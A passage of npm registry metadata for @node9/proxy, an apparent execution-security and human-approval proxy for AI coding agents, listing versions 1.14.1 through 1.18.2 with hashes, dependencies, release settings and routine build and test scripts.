com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8aee4ab134ab1c9085b8bf5bf56d6086b98b2e26","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.14.1.tgz","fileCount":26,"integrity":"sha512-6H4KigzTpzuKX7nRKQ7Cp4cWW0dBAJRHlto5jM6uNSsAcsYJTuO3jcXHAWzYykJDJb/KYOBG4Fi7Jap/6vKbaQ==","signatures":[{"sig":"MEUCIGk82hDX6JHG718lclyqLzARTG6kILxITcpw8uIoJi0oAiEAgY76si4sIICqIYwn9k12NwXceBZcc92EbEjFgK5TfjI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.14.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3482503},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"38530fc14512dfa7d908df56baeba7112dad0731","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.14.1_1777372682712_0.48936255667862305","host":"s3://npm-registry-packages-npm-production"}},"1.15.0":{"name":"@node9/proxy","version":"1.15.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.15.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bb013e5f5ad5745abaacbbc33d7eace75f7ef3c4","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.15.0.tgz","fileCount":15,"integrity":"sha512-/wA0+Pog2bcKQtIMjyYxKSfqNIIPA5PciKMzGN2CjUn56lIjwY9O30mnsCZvPwhtFWSjRA1K+rUUericzWhbaw==","signatures":[{"sig":"MEQCIB2eUbLoItbLa/RAhe53eA8DDRVOyjSRU19/EZpVfojqAiBOTTYtJzu2Ok5hwUYQvMwj5uwFk8Hw+LevdkWx71OlJQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.15.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3570817},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9c76772ae8e384389497fab0953a4fe3482843a9","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.15.0_1777540556207_0.5137352833660378","host":"s3://npm-registry-packages-npm-production"}},"1.16.0":{"name":"@node9/proxy","version":"1.16.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.16.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b112b94883a2b08315044a45aed6bb968a4350e6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.16.0.tgz","fileCount":15,"integrity":"sha512-0X5Xysxc31CJtfLRPSigFt7+qlu2GyT52YVhZMMN2qFOYd1vJhOK7F8bLikSaqCuHlM+cl7OE+En6Vf2jA2hMQ==","signatures":[{"sig":"MEUCIHWEd3cT0Pj8V78R6t01v1D2V6NuOoVdcuH6jLq5AUG4AiEAvLal28FTMwjM+VQDnZbvwm9klYxvRTG7qqW0RW2FSEY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.16.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3570817},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"667b9ab455c980f48d277dcaf0e524f28f42b39c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.16.0_1777541742240_0.4906379767528639","host":"s3://npm-registry-packages-npm-production"}},"1.17.0":{"name":"@node9/proxy","version":"1.17.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.17.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"531d19f17acb16339652567dcd6f7a7f364c3162","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.17.0.tgz","fileCount":15,"integrity":"sha512-WAHXDK7gAcWiSHebefSKsqLNEjIka8pHyz7yhWEe44rz3hA9rptrPeOsQV5zajkSDeOMjMvjCTjAGOUhV84SaQ==","signatures":[{"sig":"MEUCIB010jRK4OMIQygAmcPH1HM93CSPKY814gPx17l+QbdUAiEAwxV4kvAP+JwtTzINU5deJ1lfBuNWNcyY+dIQ/3WEkmo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.17.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3601012},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"676fe23ad30d4567c767f7b97eef28c5acbe18a5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.17.0_1777801935705_0.06962020390244361","host":"s3://npm-registry-packages-npm-production"}},"1.18.0":{"name":"@node9/proxy","version":"1.18.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.18.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"168be742824fac8f477f6c1ecc9a21fbefeec4b5","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.18.0.tgz","fileCount":15,"integrity":"sha512-uAvEBMZPbWvoPATyfEm/nnH+WUM1RkB/2s25rYjD1jY7fL3NWwVp3WT1tSOjhuL+jAT3hx6j6nVBB3wh7n3OSg==","signatures":[{"sig":"MEUCIG8BIZybRxbRz3VVbmfJx0C1LMOOVn5uTtN+YER33i0wAiEA7DwbKfPU0ZWNDcwQOyiYe+hzwkkLN3Gnn9wjIuIXYfs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.18.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3379559},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b7ca6c040101d79e40283155a6f5ead94bb0aaf1","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.18.0_1777983898176_0.653629339591902","host":"s3://npm-registry-packages-npm-production"}},"1.18.1":{"name":"@node9/proxy","version":"1.18.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.18.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9e8ff2c2f2bb0690f2ac548d73b82e23929dc9ea","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.18.1.tgz","fileCount":15,"integrity":"sha512-tdY4j23rKD1x4ARCGT8VDBNDPadoMVHwf0gMVw/QI+hCN3IqUtjjZ2MfuDvluai3nEK4B7FUdjXBmYX4peghZA==","signatures":[{"sig":"MEQCIEyc2T2eOga7xlJB3YnDm8gOA/Ch19KlxmWm7TJ67LvIAiAS5bv4tRnd0K1Z4s8EtHmQs6GIIT6tShIBIEG39roEaw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.18.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3379559},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a6f1e99680a2312cf4bc4e0df29d7d3544bc193b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.18.1_1777996260771_0.7624342049707062","host":"s3://npm-registry-packages-npm-production"}},"1.18.2":{"name":"@node9/proxy","version":"1.18.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.18.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"391742aba99c109a3cf31e132cea624293f0b825","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.18.2.tgz","fileCount":15,"integrity":"sha512-UFQwuiXVvRmXhnVFM+OZzzZuXszYzEFmOQDdTbJZnmWI7KfGX71k+xAjwu43w/VKAVjn0nB844/x5pGRLsvjxQ==","signatures":[{"sig":"MEQCIEbW9bPMyplp5pb33fuL6LkJxxHvWtdtXxRulW1CGez+AiA5HBP9f2T7NVcOVLnSnUfudVTMAhXZtCcsn7cJuZfh1g==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.18.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3379559},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"84958ae6d3fa76dc72d4c2ef4cd7cd113bdd2e1d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const 